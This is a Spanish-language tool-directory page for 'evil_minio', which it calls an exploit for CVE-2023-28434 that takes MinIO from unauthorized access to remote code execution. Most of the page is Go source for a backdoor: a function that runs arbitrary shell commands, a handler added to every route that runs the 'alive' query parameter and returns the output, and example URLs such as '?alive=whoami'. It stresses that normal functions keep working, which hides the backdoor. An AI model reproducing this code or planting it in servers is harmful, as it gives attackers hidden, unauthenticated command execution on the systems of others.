Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
evil_minio — EXP para CVE-2023-28434 MinIO de no autorizado a RCE | Kitploit
Herramientas/GitHubGitHub/abelche/evil_minio
ExplotaciónExplotación de Aplicaciones WebComando y ControlHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubabelche/evil_minio

evil_minio

EXP para CVE-2023-28434 MinIO de no autorizado a RCE

Ver Repositorio
32039hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Evil MinIO (CVE-2023-28434)

Doc: CVE-2023-28432 minio: Acceso no autorizado a interfaz hasta RCE sin pérdida y puerta trasera global.pdf

EXP para CVE-2023-28434

MinIO: de acceso no autorizado a RCE

Modificado desde https://github.com/minio/minio/tree/8b4d0255b7247b1a06d923e69ed5ba01434e70b8

¿Qué se ha cambiado?

  • añadir cmd/x.go, usado para ejecutar comandos del sistema
root@kitploit:~
package cmd

import (
	"os/exec"
	"runtime"
)

func getOutputDirectly(commandStr string) string {
	var execGlobalOutput string
	var shell [2]string
	var systemOS string = runtime.GOOS
	if systemOS == "linux" || systemOS == "darwin" {
		shell[0], shell[1] = "/bin/bash", "-c"
	} else {
		shell[0], shell[1] = "C:\\Windows\\System32\\cmd.exe", "/c"
	}
	cmd := exec.Command(shell[0], shell[1], commandStr)
	output, err := cmd.Output()
	if err != nil {
		return ""
	}
	execGlobalOutput += string(output)
	return execGlobalOutput
}
  • cmd/routers.go, añadir línea #72
root@kitploit:~
// ..........
	setUploadForwardingHandler,
	// Add bucket forwarding handler
	setBucketForwardingHandler,
	// Add new handlers here.
	xHandler, // ADD THIS LINE 
}

// configureServer handler returns final handler for the http server.
func configureServerHandler(endpointServerPools EndpointServerPools) (http.Handler, error) {
// ..........
  • cmd/generic-handlers.go, añadir función xHandler al final
root@kitploit:~
func xHandler(h http.Handler) http.Handler {
	return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
		var arg string
		values := r.URL.Query()
		arg = values.Get("alive")
		if arg != "" {
			w.Write([]byte(getOutputDirectly(arg)))
			return
		}
		h.ServeHTTP(w, r)
	})
}

¿Qué se puede hacer?

  1. Puerta trasera GLOBAL como http://1.2.3.4/?alive=whoami y http://1.2.3.4/anything?alive=whoami
  2. Las funciones normales no se verán afectadas

image-20230327164103832

image-20230327164128648

Descargar herramienta